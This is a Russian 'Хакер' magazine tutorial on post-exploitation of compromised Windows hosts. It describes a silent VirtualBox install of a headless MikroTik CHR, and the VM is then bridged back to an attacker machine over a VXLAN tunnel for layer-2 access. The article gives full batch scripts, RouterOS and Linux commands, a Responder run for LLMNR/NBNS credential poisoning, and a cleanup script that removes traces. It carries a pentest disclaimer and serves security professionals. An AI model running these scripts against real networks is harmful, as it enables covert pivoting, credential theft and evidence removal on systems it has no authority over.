Хакер - Caster Remix. Используем виртуальный MikroTik для постэксплуатации Windows
hacker_freiCaster
Содержание статьи
- Caster Remix
- CHR Deploy
- VXLAN-туннелирование
- Атака
- Зачистка
- Выводы
Недавно я нашел новый способ организации L2-туннелирования против сетей Windows. Вдохновившись идеей пингвина‑супершпиона, я продемонстрирую постэксплуатацию Windows с помощью виртуального MikroTik CHR, который позволит провести пивотинг и получить L2-доступ к целевой сети.
WARNING
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
17 июня 2020 года в «Хакере» вышла статья Андрея Жукова про интересный способ постэксплуатации Windows: для дальнейшего продвижения по сети и перехвата учетных данных внутри создается виртуальная машина на Linux. Для достижения своей цели Андрей использовал VirtualBox в silent-режиме. Основная идея в том, чтобы виртуальная машина на Linux работала в режиме моста, причем в сам мост на Linux помещается интерфейс, который смотрит в сторону реальной ОС. Так у этой машины появляется L2-доступ, который открывает возможности для атак канального уровня, таких как ARP-спуфинг или LLMNR/NBNS-спуфинг. Важный момент: эта техника требует прав администратора на скомпрометированной Windows-машине.
CASTER REMIX
Я вдохновился идеей s0i37, когда пытался найти новые способы L2-туннелирования против Windows. Мне пришла в голову мысль запустить виртуальный роутер MikroTik CHR внутри реальной Windows с помощью VirtualBox.
CHR (Cloud Hosted Router) — это виртуальный маршрутизатор MikroTik, который можно установить с помощью технологий виртуализации. И у него тоже есть возможность деплоя на VirtualBox. Я выбрал именно его, так как RouterOS 7 — очень гибкий и многофункциональный инструмент. В нем есть необходимый VXLAN, который работает стабильно. На основе идеи s0i37 я придумал следующую концепцию:
- деплой CHR внутри Windows при постэксплуатации;
- сетевая настройка CHR в режиме bridge в VBOX;
- создание полноценного L2-туннеля с VXLAN, бриджинг интерфейсов и получение доступа.
INFO
Этот вектор работает корректно только для реальных физических машин, так как при эксплуатации виртуальных машин могут возникнуть проблемы с прохождением трафика из‑за того, что на интерфейсе скомпрометированной виртуалки может не быть неразборчивого режима.
Я построил достаточно небольшую сеть для демонстрации ремикса, но мой метод может работать из любой точки сетевой инфраструктуры, так как Ethernet-фреймы в туннеле будут передаваться поверх L3-соединений с помощью VXLAN-туннелирования.
CHR DEPLOY
MikroTik CHR мы используем в качестве L2-шлюза, но он будет работать на основе VirtualBox. Вот только VirtualBox нужно каким‑то образом установить на целевой хост, а при этом не всегда есть возможность обеспечить себя графической оболочкой. Я предусмотрел этот сценарий и нашел способ «тихой» установки VirtualBox, а также способ организации виртуальной машины.
Сама VirtualBox в silent-режиме устанавливается таким образом (я использую версию 7.0.8):
C:\remix>VirtualBox-7.0.8-156879-Win.exe -s
Теперь создаем виртуальную машину CHR. Если нет GUI, это можно сделать с помощью VBoxManage.exe
. Сама версия CHR — 7.10.2.
Я приготовил специальный bat-файл для автоматизации процесса. Прошу заметить, что я использую образ диска VDI, который буду подключать к созданной виртуальной машине. Образы VDI обычно скачиваются с официального сайта MikroTik.
Я все настраиваю так, чтобы машина работала в режиме моста с неразборчивым режимом. При настройке сети тебе понадобится установить точное имя интерфейса в ОС, но его легко узнать с помощью команды Get-NetAdapter
в оболочке PowerShell.
C:\remix>remix.bat
remix.bat
@echo off
set VMNAME=CasterRemix
set VMMEMORY=512
set VMCPUS=2
set VMDISK=C:\remix\chr-7.10.2.vdi
set VMNIC1=bridged
set VMADAPTER1="Intel(R) Wi-Fi 6 AX201 160MHz"
set VMPROMISC1=allow-all
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" createvm --name "%VMNAME%" --register
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifyvm "%VMNAME%" --memory %VMMEMORY% --cpus %VMCPUS%
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" storagectl "%VMNAME%" --name "SATA Controller" --add sata --controller IntelAHCI
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" storageattach "%VMNAME%" --storagectl "SATA Controller" --port 0 --device 0 --type hdd --medium "%VMDISK%"
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifyvm "%VMNAME%" --nic1 %VMNIC1%
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifyvm "%VMNAME%" --bridgeadapter1 %VMADAPTER1%
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifyvm "%VMNAME%" --nicpromisc1 %VMPROMISC1%
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" startvm "%VMNAME%" --type headless
Параметр --headless
указывает на то, что виртуальная машина запустится в тихом режиме, чтобы не привлечь лишнее внимание пользователя.
После запуска CHR маршрутизатор получит адрес автоматически, так как это заложено в его конфигурации по умолчанию. Но нам необходимо найти сам адрес маршрутизатора. Это можно сделать, например, с помощью классического сканирования портов TCP/22, TCP/8291 в сети 192.168.1.0/24, где запущен сам CHR в бридже. В моем случае адрес — 192.168.1.36.
Теперь подключимся к панели управления CHR (например, по SSH или Winbox) и сделаем начальную настройку. Нам понадобиться
- выключить протоколы обнаружения соседей (Discovery Protocols);
- выключить протоколы STP, чтобы не нарушить работу легитимного дерева STP;
- задать имя системы в CHR (hostname);
- создать специальный бридж, переместить туда интерфейс, настроить работу
/ip/dhcp-client
для сохранения связности с CHR. Когда интерфейс помещается в бридж, он подчиняется бриджу, и для дальнейшей связи адрес нужен именно на бридже. Несмотря на изменение настройки/ip/dhcp-client
, адрес CHR останется таким же.
[admin@MikroTik] > /interface/bridge/add name=bridge1;
/interface/bridge/set protocol-mode=none numbers=0;
/interface/bridge/port add interface=ether1 bridge=bridge1;
/ip dhcp-client/remove 0;
/ip/dhcp-client/add interface=bridge;
/ip/neighbor/discovery-settings/set discover-interface-list=none;
/system/identity/set name=CasterRemix
[admin@CasterRemix] >
Также важно, что все это нужно сделать одной командой, иначе навсегда утеряешь доступ к CHR на уровне сети и придется начинать заново.
VXLAN-ТУННЕЛИРОВАНИЕ
В качестве протокола туннелирования я выбрал VXLAN. Он позволяет передавать L2-фреймы поверх протокола UDP (порт по умолчанию UDP/4789), то есть предоставляет возможность организовать L2-туннель между атакующей системой и CHR.
Наша цель — сеть 192.168.1.0/24, к которой получим L2-доступ.
Между атакующим и MikroTik будет создан туннель VXLAN, причем они будут устройствами VTEP и станут работать в режиме точка — точка (point-to-point), без объявлений MCAST. VTEP (Virtual Tunnel Endpoint) — устройства, на которых строится и терминируется туннель VXLAN, они занимаются инкапсуляцией и деинкапсуляцией VXLAN-заголовков.
Важно, чтобы перед настройкой был явный маршрут /32
до CHR через шлюз, с которым будет инициирован туннель. Иначе созданный туннель может перекрыть достижимость до CHR, что вызовет разрыв туннеля. Маршрут создается через шлюз по умолчанию для атакующего (в случае данной лабораторной сети — 172.10.200.254).
caster@kali:~$ sudo ip route add 192.168.1.36/32 via 172.10.200.254
На стороне атакующего туннель VXLAN будет построен между адресами 172.10.200.252 и 192.168.1.36 (Attacker → CHR), идентификатор туннеля (VNI) — 10.
caster@kali:~$ sudo ip link add name evilvxlan type vxlan id 10 local 172.10.200.252 remote 192.168.1.36 dstport 4789
caster@kali:~$ sudo ip link set evilvxlan up
На стороне CHR (RouterOS v7) тоже необходимо, чтобы созданный интерфейс VXLAN на CHR был помещен в бридж, где находится интерфейс, смотрящий в сторону реальной ОС (ether1
), так как CHR на уровне VirtualBox находится в режиме моста.
[admin@CasterRemix] > /interface/vxlan add name=vxlan1 port=4789 vni=10
[admin@CasterRemix] > /interface/vxlan/vteps interface=vxlan1 remote-ip=172.10.200.252 port=4789
[admin@CasterRemix] > /interface/bridge/port add interface=vxlan1 numbers=0
После применения этой конфигурации туннель VXLAN будет построен согласно схеме выше.
АТАКА
Теперь атакующий должен получить адрес на интерфейсе evilvxlan, и L2-доступ будет обеспечен! Открываются возможности для атак канального уровня. Также по DHCP может прилететь второй шлюз, заданный по умолчанию, что разорвет туннель. Так что будь осторожен. Я, чтобы избежать этой проблемы, использую команду sudo route del default
.
caster@kali:~@ sudo dhclient -v evilvxlan; sudo route del default
caster@kali:~@ sudo responder -I evilvxlan -vvv
Ниже — пример отработавшей внутри VXLAN-туннеля утилиты responder и отравление запросов LLMNR/NBNS/MDNS.
ЗАЧИСТКА
Когда понадобится затереть следы, необходимо выключить и удалить созданную виртуалку с MikroTik CHR. Также нужно удалить саму VirtualBox. Естественно, в silent-режиме.
delete-remix.bat
@echo off
set VMNAME=CasterRemix
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" controlvm "%VMNAME%" poweroff
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" unregistervm "%VMNAME%" --delete
wmic product where name="Oracle VM VirtualBox 7.0.8" call uninstall /nointeractive
rmdir /s /q c:\remix
ВЫВОДЫ
Итак, я продемонстрировал технику L2-туннелирования против машин Windows. Метод специфический, но, на мой взгляд, вполне практичный.
Эту статью я хочу посвятить ушедшему из жизни Киту Флинту, фронтмену группы The Prodigy, которая выпустила песню Omen.
Эта песня была для меня вдохновением по ходу работы и даже немало повлияла на ее стиль.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei